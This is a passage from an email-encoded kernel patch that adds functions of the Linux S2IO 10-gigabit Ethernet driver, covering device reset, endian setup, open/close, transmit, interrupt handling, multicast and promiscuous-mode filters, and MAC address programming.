device structure, which is a pointer to = the =0A= + * s2io_nic structure.=0A= + * Return value:=0A= + * SUCCESS on success and FAILURE on failure.=0A= + * Description:=0A= + * Function that waits for a command to Write into RMAC ADDR DATA = registers =0A= + * to be completed and returns either success or error depending on = whether =0A= + * the command was complete or not. =0A= + */=0A= +int waitForCmdComplete(nic_t * sp)=0A= +{=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= + int ret =3D FAILURE, cnt =3D 0;=0A= + u64 val64;=0A= +=0A= + while (TRUE) {=0A= + val64 =3D=0A= + RMAC_ADDR_CMD_MEM_RD | RMAC_ADDR_CMD_MEM_STROBE_NEW_CMD=0A= + | RMAC_ADDR_CMD_MEM_OFFSET(0);=0A= + writeq(val64, &bar0->rmac_addr_cmd_mem);=0A= + val64 =3D readq(&bar0->rmac_addr_cmd_mem);=0A= + if (!val64) {=0A= + ret =3D SUCCESS;=0A= + break;=0A= + }=0A= + set_current_state(TASK_UNINTERRUPTIBLE);=0A= + schedule_timeout(HZ / 20);=0A= + if (cnt++ > 10)=0A= + break;=0A= + }=0A= +=0A= + return ret;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument: =0A= + * sp - private member of the device structure, which is a pointer to = the =0A= + * s2io_nic structure.=0A= + * Return value:=0A= + * void.=0A= + * Description:=0A= + * Function to Reset the card. This function then also restores the = previously=0A= + * saved PCI configuration space registers as the card reset also = resets the=0A= + * Configration space.=0A= + */=0A= +void s2io_reset(nic_t * sp)=0A= +{=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= + u64 val64;=0A= + u16 subid;=0A= +=0A= + val64 =3D SW_RESET_ALL;=0A= + writeq(val64, &bar0->sw_reset);=0A= +=0A= + /* At this stage, if the PCI write is indeed completed, the =0A= + * card is reset and so is the PCI Config space of the device. =0A= + * So a read cannot be issued at this stage on any of the =0A= + * registers to ensure the write into "sw_reset" register=0A= + * has gone through.=0A= + * Question: Is there any system call that will explicitly force=0A= + * all the write commands still pending on the bus to be pushed=0A= + * through?=0A= + * As of now I'am just giving a 250ms delay and hoping that the=0A= + * PCI write to sw_reset register is done by this time.=0A= + */=0A= + set_current_state(TASK_UNINTERRUPTIBLE);=0A= + schedule_timeout(HZ / 4);=0A= +=0A= + /* Restore the PCI state saved during initializarion. */=0A= + pci_restore_state(sp->pdev, sp->config_space);=0A= + s2io_init_pci(sp);=0A= +=0A= + set_current_state(TASK_UNINTERRUPTIBLE);=0A= + schedule_timeout(HZ / 4);=0A= +=0A= + /* SXE-002: Configure link and activity LED to turn it off */=0A= + subid =3D sp->pdev->subsystem_device;=0A= + if ((subid & 0xFF) >=3D 0x07) {=0A= + val64 =3D readq(&bar0->gpio_control);=0A= + val64 |=3D 0x0000800000000000ULL;=0A= + writeq(val64, &bar0->gpio_control);=0A= + val64 =3D 0x0411040400000000ULL;=0A= + writeq(val64, (void *) ((u8 *) bar0 + 0x2700));=0A= + }=0A= +=0A= + sp->device_enabled_once =3D FALSE;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument: =0A= + * sp - private member of the device structure, which is a pointer to = the =0A= + * s2io_nic structure.=0A= + * Return value:=0A= + * SUCCESS on success and FAILURE on failure.=0A= + * Description:=0A= + * Function to set the swapper control on the card correctly depending = on the=0A= + * 'endianness' of the system.=0A= + */=0A= +int s2io_set_swapper(nic_t * sp)=0A= +{=0A= + struct net_device *dev =3D sp->dev;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= + u64 val64;=0A= +=0A= +/* Set proper endian settings and verify the same by reading the PIF =0A= + * Feed-back register.=0A= + */=0A= +#ifdef __BIG_ENDIAN=0A= +/* The device by default set to a big endian format, so a big endian =0A= + * driver need not set anything.=0A= + */=0A= + writeq(0xffffffffffffffffULL, &bar0->swapper_ctrl);=0A= + val64 =3D (SWAPPER_CTRL_PIF_R_FE |=0A= + SWAPPER_CTRL_PIF_R_SE |=0A= + SWAPPER_CTRL_PIF_W_FE |=0A= + SWAPPER_CTRL_PIF_W_SE |=0A= + SWAPPER_CTRL_TXP_FE |=0A= + SWAPPER_CTRL_TXP_SE |=0A= + SWAPPER_CTRL_TXD_R_FE |=0A= + SWAPPER_CTRL_TXD_W_FE |=0A= + SWAPPER_CTRL_TXF_R_FE |=0A= + SWAPPER_CTRL_RXD_R_FE |=0A= + SWAPPER_CTRL_RXD_W_FE |=0A= + SWAPPER_CTRL_RXF_W_FE |=0A= + SWAPPER_CTRL_XMSI_FE |=0A= + SWAPPER_CTRL_XMSI_SE |=0A= + SWAPPER_CTRL_STATS_FE | SWAPPER_CTRL_STATS_SE);=0A= + writeq(val64, &bar0->swapper_ctrl);=0A= +#else=0A= +/* Initially we enable all bits to make it accessible by the driver,=0A= + * then we selectively enable only those bits that we want to set.=0A= + */=0A= + writeq(0xffffffffffffffffULL, &bar0->swapper_ctrl);=0A= + val64 =3D (SWAPPER_CTRL_PIF_R_FE |=0A= + SWAPPER_CTRL_PIF_R_SE |=0A= + SWAPPER_CTRL_PIF_W_FE |=0A= + SWAPPER_CTRL_PIF_W_SE |=0A= + SWAPPER_CTRL_TXP_FE |=0A= + SWAPPER_CTRL_TXP_SE |=0A= + SWAPPER_CTRL_TXD_R_FE |=0A= + SWAPPER_CTRL_TXD_R_SE |=0A= + SWAPPER_CTRL_TXD_W_FE |=0A= + SWAPPER_CTRL_TXD_W_SE |=0A= + SWAPPER_CTRL_TXF_R_FE |=0A= + SWAPPER_CTRL_RXD_R_FE |=0A= + SWAPPER_CTRL_RXD_R_SE |=0A= + SWAPPER_CTRL_RXD_W_FE |=0A= + SWAPPER_CTRL_RXD_W_SE |=0A= + SWAPPER_CTRL_RXF_W_FE |=0A= + SWAPPER_CTRL_XMSI_FE |=0A= + SWAPPER_CTRL_XMSI_SE |=0A= + SWAPPER_CTRL_STATS_FE | SWAPPER_CTRL_STATS_SE);=0A= + writeq(val64, &bar0->swapper_ctrl);=0A= +#endif=0A= +=0A= +/* Verifying if endian settings are accurate by reading a feedback=0A= + * register.=0A= + */=0A= + val64 =3D readq(&bar0->pif_rd_swapper_fb);=0A= + if (val64 !=3D 0x0123456789ABCDEFULL) {=0A= + /* Endian settings are incorrect, calls for another dekko. */=0A= + DBG_PRINT(ERR_DBG, "%s: Endian settings are wrong, ",=0A= + dev->name);=0A= + DBG_PRINT(ERR_DBG, "feedback read %llx\n",=0A= + (unsigned long long) val64);=0A= + return FAILURE;=0A= + }=0A= +=0A= + return SUCCESS;=0A= +}=0A= +=0A= +/* ********************************************************* *=0A= + * Functions defined below concern the OS part of the driver *=0A= + * ********************************************************* */=0A= +=0A= +/*=0A= + * Input Argument: =0A= + * dev - pointer to the device structure.=0A= + * Return value:=0A= + * '0' on success and an appropriate (-)ve integer as defined in = errno.h=0A= + * file on failure.=0A= + * Description:=0A= + * This function is the open entry point of the driver. It mainly = calls a=0A= + * function to allocate Rx buffers and inserts them into the buffer=0A= + * descriptors and then enables the Rx part of the NIC. =0A= + */=0A= +int s2io_open(struct net_device *dev)=0A= +{=0A= + nic_t *sp =3D dev->priv;=0A= + int i, ret =3D 0, err =3D 0;=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= +=0A= +=0A= +/* Make sure you have link off by default every time Nic is = initialized*/=0A= + netif_carrier_off(dev);=0A= + sp->last_link_state =3D LINK_DOWN;=0A= +=0A= +/* Initialize the H/W I/O registers */=0A= + if (initNic(sp) !=3D 0) {=0A= + DBG_PRINT(ERR_DBG, "%s: H/W initialization failed\n",=0A= + dev->name);=0A= + return -ENODEV;=0A= + }=0A= +=0A= +/* After proper initialization of H/W, register ISR */=0A= + err =3D=0A= + request_irq((int) sp->irq, s2io_isr, SA_SHIRQ, sp->name, dev);=0A= + if (err) {=0A= + s2io_reset(sp);=0A= + DBG_PRINT(ERR_DBG, "%s: ISR registration failed\n",=0A= + dev->name);=0A= + return err;=0A= + }=0A= + if (s2io_set_mac_addr(dev, dev->dev_addr) =3D=3D FAILURE) {=0A= + DBG_PRINT(ERR_DBG, "Set Mac Address Failed\n");=0A= + s2io_reset(sp);=0A= + return -ENODEV;=0A= + }=0A= +=0A= +=0A= +/* Setting its receive mode */=0A= + s2io_set_multicast(dev);=0A= +=0A= +/* Initializing the Rx buffers. For now we are considering only 1 Rx = ring=0A= + * and initializing buffers into 1016 RxDs or 8 Rx blocks=0A= + */=0A= + mac_control =3D &sp->mac_control;=0A= + config =3D &sp->config;=0A= +=0A= + for (i =3D 0; i < config->RxRingNum; i++) {=0A= + if ((ret =3D fill_rx_buffers(sp, i))) {=0A= + DBG_PRINT(ERR_DBG, "%s: Out of memory in Open\n",=0A= + dev->name);=0A= + s2io_reset(sp);=0A= + free_irq(dev->irq, dev);=0A= + freeRxBuffers(sp);=0A= + return -ENOMEM;=0A= + }=0A= + DBG_PRINT(INFO_DBG, "Buf in ring:%d is %d:\n", i,=0A= + atomic_read(&sp->rx_bufs_left[i]));=0A= + }=0A= +=0A= +/* Enable tasklet for the device */=0A= + tasklet_init(&sp->task, s2io_tasklet, (unsigned long) dev);=0A= +=0A= +/* Enable Rx Traffic and interrupts on the NIC */=0A= + if (startNic(sp)) {=0A= + DBG_PRINT(ERR_DBG, "%s: Starting NIC failed\n", dev->name);=0A= + tasklet_kill(&sp->task);=0A= + s2io_reset(sp);=0A= + free_irq(dev->irq, dev);=0A= + freeRxBuffers(sp);=0A= + return -ENODEV;=0A= + }=0A= +=0A= + sp->device_close_flag =3D FALSE; /* Device is up and running. */=0A= + netif_start_queue(dev);=0A= +=0A= + return 0;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * dev - device pointer.=0A= + * Return value:=0A= + * '0' on success and an appropriate (-)ve integer as defined in = errno.h=0A= + * file on failure.=0A= + * Description:=0A= + * This is the stop entry point of the driver. It needs to undo exactly=0A= + * whatever was done by the open entry point, thus it's usually = referred to=0A= + * as the close function. Among other things this function mainly = stops the=0A= + * Rx side of the NIC and frees all the Rx buffers in the Rx rings.=0A= + */=0A= +int s2io_close(struct net_device *dev)=0A= +{=0A= + nic_t *sp =3D dev->priv;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= + register u64 val64 =3D 0;=0A= + u16 cnt =3D 0;=0A= +=0A= + spin_lock(&sp->isr_lock);=0A= + netif_stop_queue(dev);=0A= +=0A= +/* disable Tx and Rx traffic on the NIC */=0A= + stopNic(sp);=0A= +=0A= + spin_unlock(&sp->isr_lock);=0A= +=0A= +/* If the device tasklet is running, wait till its done before killing = it */=0A= + while (atomic_read(&(sp->tasklet_status))) {=0A= + set_current_state(TASK_UNINTERRUPTIBLE);=0A= + schedule_timeout(HZ / 10);=0A= + }=0A= + tasklet_kill(&sp->task);=0A= +=0A= +/* Check if the device is Quiescent and then Reset the NIC */=0A= + do {=0A= + val64 =3D readq(&bar0->adapter_status);=0A= + if (verify_xena_quiescence(val64, sp->device_enabled_once)) {=0A= + break;=0A= + }=0A= +=0A= + set_current_state(TASK_UNINTERRUPTIBLE);=0A= + schedule_timeout(HZ / 20);=0A= + cnt++;=0A= + if (cnt =3D=3D 10) {=0A= + DBG_PRINT(ERR_DBG,=0A= + "s2io_close:Device not Quiescent ");=0A= + DBG_PRINT(ERR_DBG, "adaper status reads 0x%llx\n",=0A= + (unsigned long long) val64);=0A= + break;=0A= + }=0A= + } while (1);=0A= + s2io_reset(sp);=0A= +=0A= +/* Free the Registered IRQ */=0A= + free_irq(dev->irq, dev);=0A= +=0A= +/* Free all Tx Buffers waiting for transmission */=0A= + freeTxBuffers(sp);=0A= +=0A= +/* Free all Rx buffers allocated by host */=0A= + freeRxBuffers(sp);=0A= +=0A= + sp->device_close_flag =3D TRUE; /* Device is shut down. */=0A= +=0A= + return 0;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * skb - the socket buffer containing the Tx data.=0A= + * dev - device pointer.=0A= + * Return value:=0A= + * '0' on success & 1 on failure. =0A= + * NOTE: when device cant queue the pkt, just the trans_start variable = will=0A= + * not be upadted.=0A= + * Description:=0A= + * This function is the Tx entry point of the driver. S2IO NIC supports=0A= + * certain protocol assist features on Tx side, namely CSO, S/G, LSO.=0A= + */=0A= +int s2io_xmit(struct sk_buff *skb, struct net_device *dev)=0A= +{=0A= + nic_t *sp =3D dev->priv;=0A= + u16 off, txd_len, frg_cnt, frg_len, i, queue, off1, queue_len;=0A= + register u64 val64;=0A= + TxD_t *txdp;=0A= + TxFIFO_element_t *tx_fifo;=0A= + unsigned long flags;=0A= +#ifdef NETIF_F_TSO=0A= + int mss;=0A= +#endif=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= +=0A= + mac_control =3D &sp->mac_control;=0A= + config =3D &sp->config;=0A= +=0A= + DBG_PRINT(TX_DBG, "%s: In S2IO Tx routine\n", dev->name);=0A= +=0A= + spin_lock_irqsave(&sp->tx_lock, flags);=0A= + queue =3D 0;=0A= + /* Multi FIFO Tx is disabled for now. */=0A= + if (!queue && tx_prio) {=0A= + u8 x =3D (skb->data)[5];=0A= + queue =3D x % config->TxFIFONum;=0A= + }=0A= +=0A= +=0A= + off =3D (u16) mac_control->tx_curr_put_info[queue].offset;=0A= + off1 =3D (u16) mac_control->tx_curr_get_info[queue].offset;=0A= + txd_len =3D mac_control->txdl_len;=0A= + txdp =3D mac_control->txdl_start[queue] + (config->MaxTxDs * off);=0A= +=0A= + queue_len =3D mac_control->tx_curr_put_info[queue].fifo_len + 1;=0A= + /* Avoid "put" pointer going beyond "get" pointer */=0A= + if (txdp->Host_Control || (((off + 1) % queue_len) =3D=3D off1)) {=0A= + DBG_PRINT(ERR_DBG, "Error in xmit, No free TXDs.\n");=0A= + netif_stop_queue(dev);=0A= + dev_kfree_skb(skb);=0A= + spin_unlock_irqrestore(&sp->tx_lock, flags);=0A= + return 0;=0A= + }=0A= +=0A= +#ifdef NETIF_F_TSO=0A= + mss =3D skb_shinfo(skb)->tso_size;=0A= + if (mss) {=0A= + txdp->Control_1 |=3D TXD_TCP_LSO_EN;=0A= + txdp->Control_1 |=3D TXD_TCP_LSO_MSS(mss);=0A= + }=0A= +#endif=0A= +=0A= + frg_cnt =3D skb_shinfo(skb)->nr_frags;=0A= + frg_len =3D skb->len - skb->data_len;=0A= +=0A= + txdp->Host_Control =3D (unsigned long) skb;=0A= + txdp->Buffer_Pointer =3D pci_map_single=0A= + (sp->pdev, skb->data, frg_len, PCI_DMA_TODEVICE);=0A= + if (skb->ip_summed =3D=3D CHECKSUM_HW) {=0A= + txdp->Control_2 |=3D=0A= + (TXD_TX_CKO_IPV4_EN | TXD_TX_CKO_TCP_EN |=0A= + TXD_TX_CKO_UDP_EN);=0A= + }=0A= +=0A= + txdp->Control_2 |=3D config->TxIntrType;=0A= +=0A= + txdp->Control_1 |=3D (TXD_BUFFER0_SIZE(frg_len) |=0A= + TXD_GATHER_CODE_FIRST);=0A= + txdp->Control_1 |=3D TXD_LIST_OWN_XENA;=0A= +=0A= + /* For fragmented SKB. */=0A= + for (i =3D 0; i < frg_cnt; i++) {=0A= + skb_frag_t *frag =3D &skb_shinfo(skb)->frags[i];=0A= + txdp++;=0A= + txdp->Buffer_Pointer =3D (u64) pci_map_page=0A= + (sp->pdev, frag->page, frag->page_offset,=0A= + frag->size, PCI_DMA_TODEVICE);=0A= + txdp->Control_1 |=3D TXD_BUFFER0_SIZE(frag->size);=0A= + }=0A= + txdp->Control_1 |=3D TXD_GATHER_CODE_LAST;=0A= +=0A= + tx_fifo =3D mac_control->tx_FIFO_start[queue];=0A= + val64 =3D (mac_control->txdl_start_phy[queue] +=0A= + (sizeof(TxD_t) * txd_len * off));=0A= + writeq(val64, &tx_fifo->TxDL_Pointer);=0A= +=0A= + val64 =3D (TX_FIFO_LAST_TXD_NUM(frg_cnt) | TX_FIFO_FIRST_LIST |=0A= + TX_FIFO_LAST_LIST);=0A= +#ifdef NETIF_F_TSO=0A= + if (mss)=0A= + val64 |=3D TX_FIFO_SPECIAL_FUNC;=0A= +#endif=0A= + writeq(val64, &tx_fifo->List_Control);=0A= +=0A= + off++;=0A= + off %=3D mac_control->tx_curr_put_info[queue].fifo_len + 1;=0A= + mac_control->tx_curr_put_info[queue].offset =3D off;=0A= +=0A= + /* Avoid "put" pointer going beyond "get" pointer */=0A= + if (((off + 1) % queue_len) =3D=3D off1) {=0A= + DBG_PRINT(TX_DBG, =0A= + "No free TxDs for xmit, Put: 0x%x Get:0x%x\n",=0A= + off, off1);=0A= + netif_stop_queue(dev);=0A= + }=0A= +=0A= + dev->trans_start =3D jiffies;=0A= + spin_unlock_irqrestore(&sp->tx_lock, flags);=0A= +=0A= + return 0;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * irq: the irq of the device.=0A= + * dev_id: a void pointer to the dev structure of the NIC.=0A= + * ptregs: pointer to the registers pushed on the stack.=0A= + * Return value:=0A= + * void.=0A= + * Description:=0A= + * This function is the ISR handler of the device. It identifies the = reason =0A= + * for the interrupt and calls the relevant service routines.=0A= + * As a contongency measure, this ISR allocates the recv buffers, if = their =0A= + * numbers are below the panic value which is presently set to 25% of = the=0A= + * original number of rcv buffers allocated.=0A= + */=0A= +=0A= +static irqreturn_t s2io_isr(int irq, void *dev_id, struct pt_regs *regs)=0A= +{=0A= + struct net_device *dev =3D (struct net_device *) dev_id;=0A= + nic_t *sp =3D dev->priv;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= +#ifndef CONFIG_S2IO_NAPI=0A= + int i, ret;=0A= +#endif=0A= + u64 reason =3D 0, general_mask =3D 0;=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= +=0A= + mac_control =3D &sp->mac_control;=0A= + config =3D &sp->config;=0A= +=0A= + spin_lock(&sp->isr_lock);=0A= +=0A= + /* Identify the cause for interrupt and call the appropriate=0A= + * interrupt handler. Causes for the interrupt could be;=0A= + * 1. Rx of packet.=0A= + * 2. Tx complete.=0A= + * 3. Link down.=0A= + * 4. Error in any functional blocks of the NIC. =0A= + */=0A= + reason =3D readq(&bar0->general_int_status);=0A= +=0A= + if (!reason) {=0A= + /* The interrupt was not raised by Xena. */=0A= + spin_unlock(&sp->isr_lock);=0A= + return IRQ_NONE;=0A= + }=0A= + /* Mask the interrupts on the NIC */=0A= + general_mask =3D readq(&bar0->general_int_mask);=0A= + writeq(0xFFFFFFFFFFFFFFFFULL, &bar0->general_int_mask);=0A= +=0A= +#if DEBUG_ON=0A= + sp->int_cnt++;=0A= +#endif=0A= +=0A= + /* If Intr is because of Tx Traffic */=0A= + if (reason & GEN_INTR_TXTRAFFIC) {=0A= + txIntrHandler(sp);=0A= + }=0A= +=0A= + /* If Intr is because of an error */=0A= + if (reason & (GEN_ERROR_INTR))=0A= + alarmIntrHandler(sp);=0A= +=0A= +#ifdef CONFIG_S2IO_NAPI=0A= + if (reason & GEN_INTR_RXTRAFFIC) {=0A= + if (netif_rx_schedule_prep(dev)) {=0A= + en_dis_able_NicIntrs(sp, RX_TRAFFIC_INTR,=0A= + DISABLE_INTRS);=0A= + /* We retake the snap shot of the general interrupt =0A= + * register.=0A= + */=0A= + general_mask =3D readq(&bar0->general_int_mask);=0A= + __netif_rx_schedule(dev);=0A= + }=0A= + }=0A= +#else=0A= + /* If Intr is because of Rx Traffic */=0A= + if (reason & GEN_INTR_RXTRAFFIC) {=0A= + rxIntrHandler(sp);=0A= + }=0A= +#endif=0A= +=0A= +/* If the Rx buffer count is below the panic threshold then reallocate = the=0A= + * buffers from the interrupt handler itself, else schedule a tasklet = to =0A= + * reallocate the buffers.=0A= + */=0A= +#if 1=0A= + for (i =3D 0; i < config->RxRingNum; i++) {=0A= + int rxb_size =3D atomic_read(&sp->rx_bufs_left[i]);=0A= + int level =3D rx_buffer_level(sp, rxb_size, i);=0A= +=0A= + if ((level =3D=3D PANIC) && (!TASKLET_IN_USE)) {=0A= + DBG_PRINT(ERR_DBG, "%s: Rx BD hit ", dev->name);=0A= + DBG_PRINT(ERR_DBG, "PANIC levels\n");=0A= + if ((ret =3D fill_rx_buffers(sp, i)) =3D=3D -ENOMEM) {=0A= + DBG_PRINT(ERR_DBG, "%s:Out of memory",=0A= + dev->name);=0A= + DBG_PRINT(ERR_DBG, " in ISR!!\n");=0A= + writeq(general_mask,=0A= + &bar0->general_int_mask);=0A= + spin_unlock(&sp->isr_lock);=0A= + return IRQ_HANDLED;=0A= + }=0A= + clear_bit(0,=0A= + (unsigned long *) (&sp->tasklet_status));=0A= + } else if ((level =3D=3D LOW)=0A= + && (!atomic_read(&sp->tasklet_status))) {=0A= + tasklet_schedule(&sp->task);=0A= + }=0A= +=0A= + }=0A= +#else=0A= + tasklet_schedule(&sp->task);=0A= +#endif=0A= +=0A= + /* Unmask all the previously enabled interrupts on the NIC */=0A= + writeq(general_mask, &bar0->general_int_mask);=0A= +=0A= + spin_unlock(&sp->isr_lock);=0A= + return IRQ_HANDLED;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * dev - pointer to the device structure.=0A= + * Return value:=0A= + * pointer to the updated net_device_stats structure.=0A= + * Description:=0A= + * This function updates the device statistics structure in the = s2io_nic =0A= + * structure and returns a pointer to the same.=0A= + */=0A= +struct net_device_stats *s2io_get_stats(struct net_device *dev)=0A= +{=0A= + nic_t *sp =3D dev->priv;=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= +=0A= + mac_control =3D &sp->mac_control;=0A= + config =3D &sp->config;=0A= +=0A= + sp->stats.tx_errors =3D mac_control->StatsInfo->tmac_any_err_frms;=0A= + sp->stats.rx_errors =3D mac_control->StatsInfo->rmac_drop_frms;=0A= + sp->stats.multicast =3D mac_control->StatsInfo->rmac_vld_mcst_frms;=0A= + sp->stats.rx_length_errors =3D=0A= + mac_control->StatsInfo->rmac_long_frms;=0A= +=0A= + return (&sp->stats);=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * dev - pointer to the device structure=0A= + * Return value:=0A= + * void.=0A= + * Description:=0A= + * This function is a driver entry point which gets called by the = kernel =0A= + * whenever multicast addresses must be enabled/disabled. This also = gets =0A= + * called to set/reset promiscuous mode. Depending on the deivce flag, = we=0A= + * determine, if multicast address must be enabled or if promiscuous = mode=0A= + * is to be disabled etc.=0A= + */=0A= +static void s2io_set_multicast(struct net_device *dev)=0A= +{=0A= + int i, j, prev_cnt;=0A= + struct dev_mc_list *mclist;=0A= + nic_t *sp =3D dev->priv;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= + u64 val64 =3D 0, multi_mac =3D 0x010203040506ULL, mask =3D=0A= + 0xfeffffffffffULL;=0A= + u64 dis_addr =3D 0xffffffffffffULL, mac_addr =3D 0;=0A= + void *add;=0A= +=0A= + if ((dev->flags & IFF_ALLMULTI) && (!sp->m_cast_flg)) {=0A= + /* Enable all Multicast addresses */=0A= + writeq(RMAC_ADDR_DATA0_MEM_ADDR(multi_mac),=0A= + &bar0->rmac_addr_data0_mem);=0A= + writeq(RMAC_ADDR_DATA1_MEM_MASK(mask),=0A= + &bar0->rmac_addr_data1_mem);=0A= + val64 =3D RMAC_ADDR_CMD_MEM_WE |=0A= + RMAC_ADDR_CMD_MEM_STROBE_NEW_CMD |=0A= + RMAC_ADDR_CMD_MEM_OFFSET(MAC_MC_ALL_MC_ADDR_OFFSET);=0A= + writeq(val64, &bar0->rmac_addr_cmd_mem);=0A= + /* Wait till command completes */=0A= + waitForCmdComplete(sp);=0A= +=0A= + sp->m_cast_flg =3D 1;=0A= + sp->all_multi_pos =3D MAC_MC_ALL_MC_ADDR_OFFSET;=0A= + } else if ((dev->flags & IFF_ALLMULTI) && (sp->m_cast_flg)) {=0A= + /* Disable all Multicast addresses */=0A= + writeq(RMAC_ADDR_DATA0_MEM_ADDR(dis_addr),=0A= + &bar0->rmac_addr_data0_mem);=0A= + val64 =3D RMAC_ADDR_CMD_MEM_WE |=0A= + RMAC_ADDR_CMD_MEM_STROBE_NEW_CMD |=0A= + RMAC_ADDR_CMD_MEM_OFFSET(sp->all_multi_pos);=0A= + writeq(val64, &bar0->rmac_addr_cmd_mem);=0A= + /* Wait till command completes */=0A= + waitForCmdComplete(sp);=0A= +=0A= + sp->m_cast_flg =3D 0;=0A= + sp->all_multi_pos =3D 0;=0A= + }=0A= +=0A= + if ((dev->flags & IFF_PROMISC) && (!sp->promisc_flg)) {=0A= + /* Put the NIC into promiscuous mode */=0A= + add =3D (void *) &bar0->mac_cfg;=0A= + val64 =3D readq(&bar0->mac_cfg);=0A= + val64 |=3D MAC_CFG_RMAC_PROM_ENABLE;=0A= +=0A= + writeq(RMAC_CFG_KEY(0x4C0D), &bar0->rmac_cfg_key);=0A= + writel((u32) val64, add);=0A= + writeq(RMAC_CFG_KEY(0x4C0D), &bar0->rmac_cfg_key);=0A= + writel((u32) (val64 >> 32), (add + 4));=0A= +=0A= + val64 =3D readq(&bar0->mac_cfg);=0A= + sp->promisc_flg =3D 1;=0A= + DBG_PRINT(ERR_DBG, "%s: entered promiscuous mode\n",=0A= + dev->name);=0A= + } else if (!(dev->flags & IFF_PROMISC) && (sp->promisc_flg)) {=0A= + /* Remove the NIC from promiscuous mode */=0A= + add =3D (void *) &bar0->mac_cfg;=0A= + val64 =3D readq(&bar0->mac_cfg);=0A= + val64 &=3D ~MAC_CFG_RMAC_PROM_ENABLE;=0A= +=0A= + writeq(RMAC_CFG_KEY(0x4C0D), &bar0->rmac_cfg_key);=0A= + writel((u32) val64, add);=0A= + writeq(RMAC_CFG_KEY(0x4C0D), &bar0->rmac_cfg_key);=0A= + writel((u32) (val64 >> 32), (add + 4));=0A= +=0A= + val64 =3D readq(&bar0->mac_cfg);=0A= + sp->promisc_flg =3D 0;=0A= + DBG_PRINT(ERR_DBG, "%s: left promiscuous mode\n",=0A= + dev->name);=0A= + }=0A= +=0A= + /* Update individual M_CAST address list */=0A= + if ((!sp->m_cast_flg) && dev->mc_count) {=0A= + if (dev->mc_count >=0A= + (MAX_ADDRS_SUPPORTED - MAC_MC_ADDR_START_OFFSET - 1)) {=0A= + DBG_PRINT(ERR_DBG, "%s: No more Rx filters ",=0A= + dev->name);=0A= + DBG_PRINT(ERR_DBG, "can be added, please enable ");=0A= + DBG_PRINT(ERR_DBG, "ALL_MULTI instead\n");=0A= + return;=0A= + }=0A= +=0A= + prev_cnt =3D sp->mc_addr_count;=0A= + sp->mc_addr_count =3D dev->mc_count;=0A= +=0A= + /* Clear out the previous list of Mc in the H/W. */=0A= + for (i =3D 0; i < prev_cnt; i++) {=0A= + writeq(RMAC_ADDR_DATA0_MEM_ADDR(dis_addr),=0A= + &bar0->rmac_addr_data0_mem);=0A= + val64 =3D RMAC_ADDR_CMD_MEM_WE |=0A= + RMAC_ADDR_CMD_MEM_STROBE_NEW_CMD |=0A= + RMAC_ADDR_CMD_MEM_OFFSET=0A= + (MAC_MC_ADDR_START_OFFSET + i);=0A= + writeq(val64, &bar0->rmac_addr_cmd_mem);=0A= +=0A= + /* Wait for command completes */=0A= + if (waitForCmdComplete(sp)) {=0A= + DBG_PRINT(ERR_DBG, "%s: Adding ",=0A= + dev->name);=0A= + DBG_PRINT(ERR_DBG, "Multicasts failed\n");=0A= + return;=0A= + }=0A= + }=0A= +=0A= + /* Create the new Rx filter list and update the same in H/W. */=0A= + for (i =3D 0, mclist =3D dev->mc_list; i < dev->mc_count;=0A= + i++, mclist =3D mclist->next) {=0A= + memcpy(sp->usr_addrs[i].addr, mclist->dmi_addr,=0A= + ETH_ALEN);=0A= + for (j =3D 0; j < ETH_ALEN; j++) {=0A= + mac_addr |=3D mclist->dmi_addr[j];=0A= + mac_addr <<=3D 8;=0A= + }=0A= + writeq(RMAC_ADDR_DATA0_MEM_ADDR(mac_addr),=0A= + &bar0->rmac_addr_data0_mem);=0A= +=0A= + val64 =3D RMAC_ADDR_CMD_MEM_WE |=0A= + RMAC_ADDR_CMD_MEM_STROBE_NEW_CMD |=0A= + RMAC_ADDR_CMD_MEM_OFFSET=0A= + (i + MAC_MC_ADDR_START_OFFSET);=0A= + writeq(val64, &bar0->rmac_addr_cmd_mem);=0A= +=0A= + /* Wait for command completes */=0A= + if (waitForCmdComplete(sp)) {=0A= + DBG_PRINT(ERR_DBG, "%s: Adding ",=0A= + dev->name);=0A= + DBG_PRINT(ERR_DBG, "Multicasts failed\n");=0A= + return;=0A= + }=0A= + }=0A= + }=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * dev - pointer to the device structure.=0A= + * new_mac - a uchar pointer to the new mac address which is to be set.=0A= + * Return value:=0A= + * SUCCESS on success and an appropriate (-)ve integer as defined in = errno.h=0A= + * file on failure.=0A= + * Description:=0A= + * This procedure will program the Xframe to receive frames with new=0A= + * Mac Address=0A= + */=0A= +int s2io_set_mac_addr(struct net_device *dev, u8 * addr)=0A= +{=0A= + nic_t *sp =3D dev->priv;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= + register u64 val64, mac_addr =3D 0;=0A= + int i;=0A= +=0A= + /* =0A= + * Set the new MAC address as the new unicast filter and reflect this=0A= + * change on the device address registered with the OS. It will be=0A= + * at offset 0. =0A= + */=0A= + for (i =3D 0; i < ETH_ALEN; i++) {=0A= + mac_addr <<=3D 8;=0A= + mac_addr |=3D addr[i];=0A= + }=0A= +=0A= + writeq(RMAC_ADDR_DATA0_MEM_ADDR(mac_addr),=0A= + &bar0->rmac_addr_data0_mem);=0A= +=0A= + val64 =3D=0A= + RMAC_ADDR_CMD_MEM_WE | RMAC_ADDR_CMD_MEM_STROBE_NEW_CMD 